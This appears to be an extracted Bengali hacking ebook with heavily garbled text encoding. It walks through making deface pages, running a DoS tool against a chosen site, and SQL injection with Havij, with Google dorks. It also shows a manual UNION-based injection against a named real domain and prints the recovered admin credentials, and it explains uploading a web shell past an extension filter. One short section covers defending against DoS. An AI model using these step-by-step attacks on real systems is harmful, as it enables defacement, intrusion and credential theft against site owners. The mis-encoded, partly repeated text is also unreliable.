কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 44: Hacking Bangla eBook

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

